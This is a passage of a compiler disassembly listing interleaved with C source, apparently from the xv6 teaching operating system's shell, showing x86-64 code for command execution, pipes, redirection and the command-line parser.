171: 48 85 ff test %rdi,%rdi
174: 74 49 je 1bf <runcmd+0x7c>
exit();
exec(ecmd->argv[0], ecmd->argv);
176: 48 8d 73 08 lea 0x8(%rbx),%rsi
17a: e8 7a 09 00 00 callq af9 <exec>
printf(2, "exec %s failed\n", ecmd->argv[0]);
17f: 48 8b 53 08 mov 0x8(%rbx),%rdx
183: 48 c7 c6 3f 0f 00 00 mov $0xf3f,%rsi
18a: eb 27 jmp 1b3 <runcmd+0x70>
break;
case REDIR:
rcmd = (struct redircmd*)cmd;
close(rcmd->fd);
18c: 8b 7f 24 mov 0x24(%rdi),%edi
18f: e8 55 09 00 00 callq ae9 <close>
if(open(rcmd->file, rcmd->mode) < 0){
194: 8b 73 20 mov 0x20(%rbx),%esi
197: 48 8b 7b 10 mov 0x10(%rbx),%rdi
19b: e8 61 09 00 00 callq b01 <open>
1a0: 85 c0 test %eax,%eax
1a2: 0f 89 d0 00 00 00 jns 278 <runcmd+0x135>
printf(2, "open %s failed\n", rcmd->file);
1a8: 48 8b 53 10 mov 0x10(%rbx),%rdx
1ac: 48 c7 c6 4f 0f 00 00 mov $0xf4f,%rsi
1b3: bf 02 00 00 00 mov $0x2,%edi
1b8: 31 c0 xor %eax,%eax
1ba: e8 35 0a 00 00 callq bf4 <printf>
exit();
1bf: e8 fd 08 00 00 callq ac1 <exit>
runcmd(rcmd->cmd);
break;
case LIST:
lcmd = (struct listcmd*)cmd;
if(fork1() == 0)
1c4: e8 5e ff ff ff callq 127 <fork1>
1c9: 85 c0 test %eax,%eax
1cb: 0f 84 a7 00 00 00 je 278 <runcmd+0x135>
runcmd(lcmd->left);
wait();
1d1: e8 f3 08 00 00 callq ac9 <wait>
1d6: eb 6e jmp 246 <runcmd+0x103>
runcmd(lcmd->right);
break;
case PIPE:
pcmd = (struct pipecmd*)cmd;
if(pipe(p) < 0)
1d8: 48 8d 7d e8 lea -0x18(%rbp),%rdi
1dc: e8 f0 08 00 00 callq ad1 <pipe>
1e1: 85 c0 test %eax,%eax
1e3: 79 0c jns 1f1 <runcmd+0xae>
panic("pipe");
1e5: 48 c7 c7 5f 0f 00 00 mov $0xf5f,%rdi
1ec: e8 17 ff ff ff callq 108 <panic>
if(fork1() == 0){
1f1: e8 31 ff ff ff callq 127 <fork1>
1f6: 85 c0 test %eax,%eax
1f8: 75 24 jne 21e <runcmd+0xdb>
close(1);
1fa: bf 01 00 00 00 mov $0x1,%edi
1ff: e8 e5 08 00 00 callq ae9 <close>
dup(p[1]);
204: 8b 7d ec mov -0x14(%rbp),%edi
207: e8 2d 09 00 00 callq b39 <dup>
close(p[0]);
20c: 8b 7d e8 mov -0x18(%rbp),%edi
20f: e8 d5 08 00 00 callq ae9 <close>
close(p[1]);
214: 8b 7d ec mov -0x14(%rbp),%edi
217: e8 cd 08 00 00 callq ae9 <close>
21c: eb 5a jmp 278 <runcmd+0x135>
runcmd(pcmd->left);
}
if(fork1() == 0){
21e: e8 04 ff ff ff callq 127 <fork1>
223: 85 c0 test %eax,%eax
225: 75 25 jne 24c <runcmd+0x109>
close(0);
227: 31 ff xor %edi,%edi
229: e8 bb 08 00 00 callq ae9 <close>
dup(p[0]);
22e: 8b 7d e8 mov -0x18(%rbp),%edi
231: e8 03 09 00 00 callq b39 <dup>
close(p[0]);
236: 8b 7d e8 mov -0x18(%rbp),%edi
239: e8 ab 08 00 00 callq ae9 <close>
close(p[1]);
23e: 8b 7d ec mov -0x14(%rbp),%edi
241: e8 a3 08 00 00 callq ae9 <close>
runcmd(pcmd->right);
246: 48 8b 7b 10 mov 0x10(%rbx),%rdi
24a: eb 30 jmp 27c <runcmd+0x139>
}
close(p[0]);
24c: 8b 7d e8 mov -0x18(%rbp),%edi
24f: e8 95 08 00 00 callq ae9 <close>
close(p[1]);
254: 8b 7d ec mov -0x14(%rbp),%edi
257: e8 8d 08 00 00 callq ae9 <close>
wait();
25c: e8 68 08 00 00 callq ac9 <wait>
wait();
261: e8 63 08 00 00 callq ac9 <wait>
break;
266: e9 54 ff ff ff jmpq 1bf <runcmd+0x7c>
case BACK:
bcmd = (struct backcmd*)cmd;
if(fork1() == 0)
26b: e8 b7 fe ff ff callq 127 <fork1>
270: 85 c0 test %eax,%eax
272: 0f 85 47 ff ff ff jne 1bf <runcmd+0x7c>
runcmd(bcmd->cmd);
278: 48 8b 7b 08 mov 0x8(%rbx),%rdi
27c: e8 c2 fe ff ff callq 143 <runcmd>
0000000000000281 <execcmd>:
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
281: 55 push %rbp
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
282: bf a8 00 00 00 mov $0xa8,%edi
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
287: 48 89 e5 mov %rsp,%rbp
28a: 53 push %rbx
28b: 50 push %rax
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
28c: e8 c5 0b 00 00 callq e56 <malloc>
memset(cmd, 0, sizeof(*cmd));
291: ba a8 00 00 00 mov $0xa8,%edx
struct cmd*
execcmd(void)
{
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
296: 48 89 c3 mov %rax,%rbx
memset(cmd, 0, sizeof(*cmd));
299: 31 f6 xor %esi,%esi
29b: 48 89 c7 mov %rax,%rdi
29e: e8 07 07 00 00 callq 9aa <memset>
cmd->type = EXEC;
2a3: c7 03 01 00 00 00 movl $0x1,(%rbx)
return (struct cmd*)cmd;
}
2a9: 48 89 d8 mov %rbx,%rax
2ac: 5a pop %rdx
2ad: 5b pop %rbx
2ae: 5d pop %rbp
2af: c3 retq
00000000000002b0 <redircmd>:
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
2b0: 55 push %rbp
2b1: 48 89 e5 mov %rsp,%rbp
2b4: 41 57 push %r15
2b6: 41 56 push %r14
2b8: 41 55 push %r13
2ba: 41 54 push %r12
2bc: 49 89 ff mov %rdi,%r15
2bf: 53 push %rbx
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
2c0: bf 28 00 00 00 mov $0x28,%edi
return (struct cmd*)cmd;
}
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
2c5: 49 89 f6 mov %rsi,%r14
2c8: 49 89 d5 mov %rdx,%r13
2cb: 41 89 cc mov %ecx,%r12d
2ce: 48 83 ec 18 sub $0x18,%rsp
2d2: 44 89 45 cc mov %r8d,-0x34(%rbp)
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
2d6: e8 7b 0b 00 00 callq e56 <malloc>
memset(cmd, 0, sizeof(*cmd));
2db: ba 28 00 00 00 mov $0x28,%edx
2e0: 31 f6 xor %esi,%esi
2e2: 48 89 c7 mov %rax,%rdi
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
2e5: 48 89 c3 mov %rax,%rbx
memset(cmd, 0, sizeof(*cmd));
2e8: e8 bd 06 00 00 callq 9aa <memset>
cmd->type = REDIR;
cmd->cmd = subcmd;
cmd->file = file;
cmd->efile = efile;
cmd->mode = mode;
cmd->fd = fd;
2ed: 44 8b 45 cc mov -0x34(%rbp),%r8d
{
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = REDIR;
2f1: c7 03 02 00 00 00 movl $0x2,(%rbx)
cmd->file = file;
cmd->efile = efile;
cmd->mode = mode;
cmd->fd = fd;
return (struct cmd*)cmd;
}
2f7: 48 89 d8 mov %rbx,%rax
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = REDIR;
cmd->cmd = subcmd;
2fa: 4c 89 7b 08 mov %r15,0x8(%rbx)
cmd->file = file;
2fe: 4c 89 73 10 mov %r14,0x10(%rbx)
cmd->efile = efile;
302: 4c 89 6b 18 mov %r13,0x18(%rbx)
cmd->mode = mode;
306: 44 89 63 20 mov %r12d,0x20(%rbx)
cmd->fd = fd;
30a: 44 89 43 24 mov %r8d,0x24(%rbx)
return (struct cmd*)cmd;
}
30e: 48 83 c4 18 add $0x18,%rsp
312: 5b pop %rbx
313: 41 5c pop %r12
315: 41 5d pop %r13
317: 41 5e pop %r14
319: 41 5f pop %r15
31b: 5d pop %rbp
31c: c3 retq
000000000000031d <pipecmd>:
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
31d: 55 push %rbp
31e: 48 89 e5 mov %rsp,%rbp
321: 41 55 push %r13
323: 41 54 push %r12
325: 53 push %rbx
326: 50 push %rax
327: 49 89 fd mov %rdi,%r13
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
32a: bf 18 00 00 00 mov $0x18,%edi
return (struct cmd*)cmd;
}
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
32f: 49 89 f4 mov %rsi,%r12
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
332: e8 1f 0b 00 00 callq e56 <malloc>
memset(cmd, 0, sizeof(*cmd));
337: ba 18 00 00 00 mov $0x18,%edx
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
33c: 48 89 c3 mov %rax,%rbx
memset(cmd, 0, sizeof(*cmd));
33f: 31 f6 xor %esi,%esi
341: 48 89 c7 mov %rax,%rdi
344: e8 61 06 00 00 callq 9aa <memset>
cmd->type = PIPE;
349: c7 03 03 00 00 00 movl $0x3,(%rbx)
cmd->left = left;
34f: 4c 89 6b 08 mov %r13,0x8(%rbx)
cmd->right = right;
return (struct cmd*)cmd;
}
353: 48 89 d8 mov %rbx,%rax
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = PIPE;
cmd->left = left;
cmd->right = right;
356: 4c 89 63 10 mov %r12,0x10(%rbx)
return (struct cmd*)cmd;
}
35a: 5a pop %rdx
35b: 5b pop %rbx
35c: 41 5c pop %r12
35e: 41 5d pop %r13
360: 5d pop %rbp
361: c3 retq
0000000000000362 <listcmd>:
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
362: 55 push %rbp
363: 48 89 e5 mov %rsp,%rbp
366: 41 55 push %r13
368: 41 54 push %r12
36a: 53 push %rbx
36b: 50 push %rax
36c: 49 89 fd mov %rdi,%r13
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
36f: bf 18 00 00 00 mov $0x18,%edi
return (struct cmd*)cmd;
}
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
374: 49 89 f4 mov %rsi,%r12
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
377: e8 da 0a 00 00 callq e56 <malloc>
memset(cmd, 0, sizeof(*cmd));
37c: ba 18 00 00 00 mov $0x18,%edx
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
381: 48 89 c3 mov %rax,%rbx
memset(cmd, 0, sizeof(*cmd));
384: 31 f6 xor %esi,%esi
386: 48 89 c7 mov %rax,%rdi
389: e8 1c 06 00 00 callq 9aa <memset>
cmd->type = LIST;
38e: c7 03 04 00 00 00 movl $0x4,(%rbx)
cmd->left = left;
394: 4c 89 6b 08 mov %r13,0x8(%rbx)
cmd->right = right;
return (struct cmd*)cmd;
}
398: 48 89 d8 mov %rbx,%rax
cmd = malloc(sizeof(*cmd));
memset(cmd, 0, sizeof(*cmd));
cmd->type = LIST;
cmd->left = left;
cmd->right = right;
39b: 4c 89 63 10 mov %r12,0x10(%rbx)
return (struct cmd*)cmd;
}
39f: 5a pop %rdx
3a0: 5b pop %rbx
3a1: 41 5c pop %r12
3a3: 41 5d pop %r13
3a5: 5d pop %rbp
3a6: c3 retq
00000000000003a7 <backcmd>:
struct cmd*
backcmd(struct cmd *subcmd)
{
3a7: 55 push %rbp
3a8: 48 89 e5 mov %rsp,%rbp
3ab: 41 54 push %r12
3ad: 53 push %rbx
3ae: 49 89 fc mov %rdi,%r12
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
3b1: bf 10 00 00 00 mov $0x10,%edi
3b6: e8 9b 0a 00 00 callq e56 <malloc>
memset(cmd, 0, sizeof(*cmd));
3bb: ba 10 00 00 00 mov $0x10,%edx
struct cmd*
backcmd(struct cmd *subcmd)
{
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
3c0: 48 89 c3 mov %rax,%rbx
memset(cmd, 0, sizeof(*cmd));
3c3: 31 f6 xor %esi,%esi
3c5: 48 89 c7 mov %rax,%rdi
3c8: e8 dd 05 00 00 callq 9aa <memset>
cmd->type = BACK;
3cd: c7 03 05 00 00 00 movl $0x5,(%rbx)
cmd->cmd = subcmd;
3d3: 4c 89 63 08 mov %r12,0x8(%rbx)
return (struct cmd*)cmd;
}
3d7: 48 89 d8 mov %rbx,%rax
3da: 5b pop %rbx
3db: 41 5c pop %r12
3dd: 5d pop %rbp
3de: c3 retq
00000000000003df <gettoken>:
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
3df: 55 push %rbp
3e0: 48 89 e5 mov %rsp,%rbp
3e3: 41 57 push %r15
3e5: 41 56 push %r14
3e7: 41 55 push %r13
3e9: 41 54 push %r12
3eb: 49 89 fd mov %rdi,%r13
3ee: 53 push %rbx
3ef: 41 50 push %r8
3f1: 49 89 f4 mov %rsi,%r12
char *s;
int ret;
s = *ps;
3f4: 48 8b 1f mov (%rdi),%rbx
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
3f7: 49 89 d7 mov %rdx,%r15
3fa: 49 89 ce mov %rcx,%r14
char *s;
int ret;
s = *ps;
while(s < es && strchr(whitespace, *s))
3fd: 4c 39 e3 cmp %r12,%rbx
400: 72 0a jb 40c <gettoken+0x2d>
s++;
if(q)
402: 4d 85 ff test %r15,%r15
405: 74 1e je 425 <gettoken+0x46>
*q = s;
407: 49 89 1f mov %rbx,(%r15)
40a: eb 19 jmp 425 <gettoken+0x46>
{
char *s;
int ret;
s = *ps;
while(s < es && strchr(whitespace, *s))
40c: 0f be 33 movsbl (%rbx),%esi
40f: 48 c7 c7 c8 15 00 00 mov $0x15c8,%rdi
416: e8 a2 05 00 00 callq 9bd <strchr>
41b: 48 85 c0 test %rax,%rax
41e: 74 e2 je 402 <gettoken+0x23>
s++;
420: 48 ff c3 inc %rbx
423: eb d8 jmp 3fd <gettoken+0x1e>
if(q)
*q = s;
ret = *s;
425: 44 0f be 3b movsbl (%rbx),%r15d
switch(*s){
429: 41 80 ff 29 cmp $0x29,%r15b
s = *ps;
while(s < es && strchr(whitespace, *s))
s++;
if(q)
*q = s;
ret = *s;
42d: 44 89 f8 mov %r15d,%eax
switch(*s){
430: 7f 11 jg 443 <gettoken+0x64>
432: 41 80 ff 28 cmp $0x28,%r15b
436: 7d 2a jge 462 <gettoken+0x83>
438: 45 84 ff test %r15b,%r15b
43b: 74 6c je 4a9 <gettoken+0xca>
43d: 41 80 ff 26 cmp $0x26,%r15b
441: eb 15 jmp 458 <gettoken+0x79>
443: 41 80 ff 3e cmp $0x3e,%r15b
447: 74 13 je 45c <gettoken+0x7d>
449: 7f 09 jg 454 <gettoken+0x75>
44b: 83 e8 3b sub $0x3b,%eax
44e: 3c 01 cmp $0x1,%al
450: 77 4c ja 49e <gettoken+0xbf>
452: eb 0e jmp 462 <gettoken+0x83>
454: 41 80 ff 7c cmp $0x7c,%r15b
458: 75 44 jne 49e <gettoken+0xbf>
45a: eb 06 jmp 462 <gettoken+0x83>
case '<':
s++;
break;
case '>':
s++;
if(*s == '>'){
45c: 80 7b 01 3e cmpb $0x3e,0x1(%rbx)
460: 74 05 je 467 <gettoken+0x88>
case '&':
case '<':
s++;
break;
case '>':
s++;
462: 48 ff c3 inc %rbx
465: eb 42 jmp 4a9 <gettoken+0xca>
if(*s == '>'){
ret = '+';
s++;
467: 48 83 c3 02 add $0x2,%rbx
s++;
break;
case '>':
s++;
if(*s == '>'){
ret = '+';
46b: 41 bf 2b 00 00 00 mov $0x2b,%r15d
471: eb 36 jmp 4a9 <gettoken+0xca>
s++;
}
break;
default:
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
473: 0f be 33 movsbl (%rbx),%esi
476: 48 c7 c7 c8 15 00 00 mov $0x15c8,%rdi
47d: e8 3b 05 00 00 callq 9bd <strchr>
482: 48 85 c0 test %rax,%rax
485: 75 1c jne 4a3 <gettoken+0xc4>
487: 0f be 33 movsbl (%rbx),%esi
48a: 48 c7 c7 c0 15 00 00 mov $0x15c0,%rdi
491: e8 27 05 00 00 callq 9bd <strchr>
496: 48 85 c0 test %rax,%rax
499: 75 08 jne 4a3 <gettoken+0xc4>
s++;
49b: 48 ff c3 inc %rbx
s++;
}
break;
default:
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
49e: 4c 39 e3 cmp %r12,%rbx
4a1: 72 d0 jb 473 <gettoken+0x94>
ret = '+';
s++;
}
break;
default:
ret = 'a';
4a3: 41 bf 61 00 00 00 mov $0x61,%r15d
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
s++;
break;
}
if(eq)
4a9: 4d 85 f6 test %r14,%r14
4ac: 74 1c je 4ca <gettoken+0xeb>
*eq = s;
4ae: 49 89 1e mov %rbx,(%r14)
4b1: eb 17 jmp 4ca <gettoken+0xeb>
while(s < es && strchr(whitespace, *s))
4b3: 0f be 33 movsbl (%rbx),%esi
4b6: 48 c7 c7 c8 15 00 00 mov $0x15c8,%rdi
4bd: e8 fb 04 00 00 callq 9bd <strchr>
4c2: 48 85 c0 test %rax,%rax
4c5: 74 08 je 4cf <gettoken+0xf0>
s++;
4c7: 48 ff c3 inc %rbx
break;
}
if(eq)
*eq = s;
while(s < es && strchr(whitespace, *s))
4ca: 4c 39 e3 cmp %r12,%rbx
4cd: 72 e4 jb 4b3 <gettoken+0xd4>
s++;
*ps = s;
4cf: 49 89 5d 00 mov %rbx,0x0(%r13)
return ret;
}
4d3: 44 89 f8 mov %r15d,%eax
4d6: 5a pop %rdx
4d7: 5b pop %rbx
4d8: 41 5c pop %r12
4da: 41 5d pop %r13
4dc: 41 5e pop %r14
4de: 41 5f pop %r15
4e0: 5d pop %rbp
4e1: c3 retq
00000000000004e2 <peek>:
int
peek(char **ps, char *es, char *toks)
{
4e2: 55 push %rbp
4e3: 48 89 e5 mov %rsp,%rbp
4e6: 41 56 push %r14
4e8: 41 55 push %r13
4ea: 41 54 push %r12
4ec: 53 push %rbx
4ed: 49 89 fc mov %rdi,%r12
char *s;
s = *ps;
4f0: 48 8b 1f mov (%rdi),%rbx
return ret;
}
int
peek(char **ps, char *es, char *toks)
{
4f3: 49 89 f6 mov %rsi,%r14
4f6: 49 89 d5 mov %rdx,%r13
char *s;
s = *ps;
while(s < es && strchr(whitespace, *s))
4f9: 4c 39 f3 cmp %r14,%rbx
4fc: 72 21 jb 51f <peek+0x3d>
s++;
*ps = s;
4fe: 49 89 1c 24 mov %rbx,(%r12)
return *s && strchr(toks, *s);
502: 0f be 33 movsbl (%rbx),%esi
505: 31 c0 xor %eax,%eax
507: 40 84 f6 test %sil,%sil
50a: 74 2c je 538 <peek+0x56>
50c: 4c 89 ef mov %r13,%rdi
50f: e8 a9 04 00 00 callq 9bd <strchr>
514: 48 85 c0 test %rax,%rax
517: 0f 95 c0 setne %al
51a: 0f b6 c0 movzbl %al,%eax
51d: eb 19 jmp 538 <peek+0x56>
peek(char **ps, char *es, char *toks)
{
char *s;
s = *ps;
while(s < es && strchr(whitespace, *s))
51f: 0f be 33 movsbl (%rbx),%esi
522: 48 c7 c7 c8 15 00 00 mov $0x15c8,%rdi
529: e8 8f 04 00 00 callq 9bd <strchr>
52e: 48 85 c0 test %rax,%rax
531: 74 cb je 4fe <peek+0x1c>
s++;
533: 48 ff c3 inc %rbx
536: eb c1 jmp 4f9 <peek+0x17>
*ps = s;
return *s && strchr(toks, *s);
}
538: 5b pop %rbx
539: 41 5c pop %r12
53b: 41 5d pop %r13
53d: 41 5e pop %r14
53f: 5d pop %rbp
540: c3 retq
0000000000000541 <parseredirs>:
return cmd;
}
struct cmd*
parseredirs(struct cmd *cmd, char **ps, char *es)
{
541: 55 push %rbp
542: 48 89 e5 mov %rsp,%rbp
545: 41 56 push %r14
547: 41 55 push %r13
549: 41 54 push %r12
54b: 53 push %rbx
54c: 49 89 f4 mov %rsi,%r12
54f: 48 89 fb mov %rdi,%rbx
552: 49 89 d5 mov %rdx,%r13
555: 48 83 ec 10 sub $0x10,%rsp
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
559: 48 c7 c2 81 0f 00 00 mov $0xf81,%rdx
560: 4c 89 ee mov %r13,%rsi
563: 4c 89 e7 mov %r12,%rdi
566: e8 77 ff ff ff callq 4e2 <peek>
56b: 85 c0 test %eax,%eax
56d: 74 74 je 5e3 <parseredirs+0xa2>
tok = gettoken(ps, es, 0, 0);
56f: 31 c9 xor %ecx,%ecx
571: 31 d2 xor %edx,%edx
573: 4c 89 ee mov %r13,%rsi
576: 4c 89 e7 mov %r12,%rdi
579: e8 61 fe ff ff callq 3df <gettoken>
if(gettoken(ps, es, &q, &eq) != 'a')
57e: 48 8d 4d d8 lea -0x28(%rbp),%rcx
582: 48 8d 55 d0 lea -0x30(%rbp),%rdx
586: 4c 89 ee mov %r13,%rsi
589: 4c 89 e7 mov %r12,%rdi
{
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
tok = gettoken(ps, es, 0, 0);
58c: 41 89 c6 mov %eax,%r14d
if(gettoken(ps, es, &q, &eq) != 'a')
58f: e8 4b fe ff ff callq 3df <gettoken>
594: 83 f8 61 cmp $0x61,%eax
597: 74 0c je 5a5 <parseredirs+0x64>
panic("missing file for redirection");
599: 48 c7 c7 64 0f 00 00 mov $0xf64,%rdi
5a0: e8 63 fb ff ff callq 108 <panic>
switch(tok){
5a5: 41 83 fe 3c cmp $0x3c,%r14d
5a9: 74 0e je 5b9 <parseredirs+0x78>
5ab: 41 83 fe 3e cmp $0x3e,%r14d
5af: 74 0f je 5c0 <parseredirs+0x7f>
5b1: 41 83 fe 2b cmp $0x2b,%r14d
5b5: 75 a2 jne 559 <parseredirs+0x18>
5b7: eb 07 jmp 5c0 <parseredirs+0x7f>
case '<':
cmd = redircmd(cmd, q, eq, O_RDONLY, 0);
5b9: 45 31 c0 xor %r8d,%r8d
5bc: 31 c9 xor %ecx,%ecx
5be: eb 0b jmp 5cb <parseredirs+0x8a>
break;
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
5c0: 41 b8 01 00 00 00 mov $0x1,%r8d
5c6: b9 01 02 00 00 mov $0x201,%ecx
5cb: 48 8b 55 d8 mov -0x28(%rbp),%rdx
5cf: 48 8b 75 d0 mov -0x30(%rbp),%rsi
5d3: 48 89 df mov %rbx,%rdi
5d6: e8 d5 fc ff ff callq 2b0 <redircmd>
5db: 48 89 c3 mov %rax,%rbx
break;
5de: e9 76 ff ff ff jmpq 559 <parseredirs+0x18>
}
}
return cmd;
}
5e3: 5a pop %rdx
5e4: 48 89 d8 mov %rbx,%rax
5e7: 59 pop %rcx
5e8: 5b pop %rbx
5e9: 41 5c pop %r12
5eb: 41 5d pop %r13
5ed: 41 5e pop %r14
5ef: 5d pop %rbp
5f0: c3 retq
00000000000005f1 <parseexec>:
return cmd;
}
struct cmd*
parseexec(char **ps, char *es)
{
5f1: 55 push %rbp
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
5f2: 48 c7 c2 84 0f 00 00 mov $0xf84,%rdx
return cmd;
}
struct cmd*
parseexec(char **ps, char *es)
{
5f9: 48 89 e5 mov %rsp,%rbp
5fc: 41 57 push %r15
5fe: 41 56 push %r14
600: 41 55 push %r13
602: 41 54 push %r12
604: 49 89 f5 mov %rsi,%r13
607: 53 push %rbx
608: 49 89 fc mov %rdi,%r12
60b: 48 83 ec 28 sub $0x28,%rsp
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
60f: e8 ce fe ff ff callq 4e2 <peek>
614: 85 c0 test %eax,%eax
616: 74 10 je 628 <parseexec+0x37>
return parseblock(ps, es);
618: 4c 89 ee mov %r13,%rsi
61b: 4c 89 e7 mov %r12,%rdi
61e: e8 ca 01 00 00 callq 7ed <parseblock>
623: e9 bb 00 00 00 jmpq 6e3 <parseexec+0xf2>
ret = execcmd();
628: e8 54 fc ff ff callq 281 <execcmd>
62d: 49 89 c7 mov %rax,%r15
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
630: 4c 89 ea mov %r13,%rdx
633: 4c 89 e6 mov %r12,%rsi
636: 48 89 c7 mov %rax,%rdi
639: 4d 8d 77 08 lea 0x8(%r15),%r14
63d: e8 ff fe ff ff callq 541 <parseredirs>
return parseblock(ps, es);
ret = execcmd();
cmd = (struct execcmd*)ret;
argc = 0;
642: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%rbp)
ret = parseredirs(ret, ps, es);
649: 48 89 c3 mov %rax,%rbx
while(!peek(ps, es, "|)&;")){
64c: 48 c7 c2 9b 0f 00 00 mov $0xf9b,%rdx
653: 4c 89 ee mov %r13,%rsi
656: 4c 89 e7 mov %r12,%rdi
659: e8 84 fe ff ff callq 4e2 <peek>
65e: 85 c0 test %eax,%eax
660: 75 17 jne 679 <parseexec+0x88>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
662: 48 8d 4d c8 lea -0x38(%rbp),%rcx
666: 48 8d 55 c0 lea -0x40(%rbp),%rdx
66a: 4c 89 ee mov %r13,%rsi
66d: 4c 89 e7 mov %r12,%rdi
670: e8 6a fd ff ff callq 3df <gettoken>
675: 85 c0 test %eax,%eax
677: 75 1d jne 696 <parseexec+0xa5>
679: 48 63 45 bc movslq -0x44(%rbp),%rax
67d: 49 8d 04 c7 lea (%r15,%rax,8),%rax
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
681: 48 c7 40 08 00 00 00 movq $0x0,0x8(%rax)
688: 00
cmd->eargv[argc] = 0;
689: 48 c7 40 58 00 00 00 movq $0x0,0x58(%rax)
690: 00
691: 48 89 d8 mov %rbx,%rax
694: eb 4d jmp 6e3 <parseexec+0xf2>
argc = 0;
ret = parseredirs(ret, ps, es);
while(!peek(ps, es, "|)&;")){
if((tok=gettoken(ps, es, &q, &eq)) == 0)
break;
if(tok != 'a')
696: 83 f8 61 cmp $0x61,%eax
699: 74 09 je 6a4 <parseexec+0xb3>
panic("syntax");
69b: 48 c7 c7 86 0f 00 00 mov $0xf86,%rdi
6a2: eb 24 jmp 6c8 <parseexec+0xd7>
cmd->argv[argc] = q;
6a4: 48 8b 45 c0 mov -0x40(%rbp),%rax
cmd->eargv[argc] = eq;
argc++;
6a8: ff 45 bc incl -0x44(%rbp)
6ab: 49 83 c6 08 add $0x8,%r14
while(!peek(ps, es, "|)&;")){
if((tok=gettoken(ps, es, &q, &eq)) == 0)
break;
if(tok != 'a')
panic("syntax");
cmd->argv[argc] = q;
6af: 49 89 46 f8 mov %rax,-0x8(%r14)
cmd->eargv[argc] = eq;
6b3: 48 8b 45 c8 mov -0x38(%rbp),%rax
6b7: 49 89 46 48 mov %rax,0x48(%r14)
argc++;
if(argc >= MAXARGS)
6bb: 83 7d bc 0a cmpl $0xa,-0x44(%rbp)
6bf: 75 0c jne 6cd <parseexec+0xdc>
panic("too many args");
6c1: 48 c7 c7 8d 0f 00 00 mov $0xf8d,%rdi
6c8: e8 3b fa ff ff callq 108 <panic>
ret = parseredirs(ret, ps, es);
6cd: 48 89 df mov %rbx,%rdi
6d0: 4c 89 ea mov %r13,%rdx
6d3: 4c 89 e6 mov %r12,%rsi
6d6: e8 66 fe ff ff callq 541 <parseredirs>
6db: 48 89 c3 mov %rax,%rbx
6de: e9 69 ff ff ff jmpq 64c <parseexec+0x5b>
}
cmd->argv[argc] = 0;
cmd->eargv[argc] = 0;
return ret;
}
6e3: 48 83 c4 28 add $0x28,%rsp
6e7: 5b pop %rbx
6e8: 41 5c pop %r12
6ea: 41 5d pop %r13
6ec: 41 5e pop %r14
6ee: 41 5f pop %r15
6f0: 5d pop %rbp
6f1: c3 retq
00000000000006f2 <parsepipe>:
return cmd;
}
struct cmd*
parsepipe(char **ps, char *es)
{
6f2: 55 push %rbp
6f3: 48 89 e5 mov %rsp,%rbp
6f6: 41 55 push %r13
6f8: 41 54 push %r12
6fa: 53 push %rbx
6fb: 41 50 push %r8
6fd: 48 89 fb mov %rdi,%rbx
700: 49 89 f4 mov %rsi,%r12
struct cmd *cmd;
cmd = parseexec(ps, es);
703: e8 e9 fe ff ff callq 5f1 <parseexec>
if(peek(ps, es, "|")){
708: 48 c7 c2 a0 0f 00 00 mov $0xfa0,%rdx
70f: 4c 89 e6 mov %r12,%rsi
712: 48 89 df mov %rbx,%rdi
struct cmd*
parsepipe(char **ps, char *es)
{
struct cmd *cmd;
cmd = parseexec(ps, es);
715: 49 89 c5 mov %rax,%r13
if(peek(ps, es, "|")){
718: e8 c5 fd ff ff callq 4e2 <peek>
71d: 85 c0 test %eax,%eax
71f: 74 2c je 74d <parsepipe+0x5b>
gettoken(ps, es, 0, 0);
721: 31 c9 xor %ecx,%ecx
723: 4c 89 e6 mov %r12,%rsi
726: 48 89 df mov %rbx,%rdi
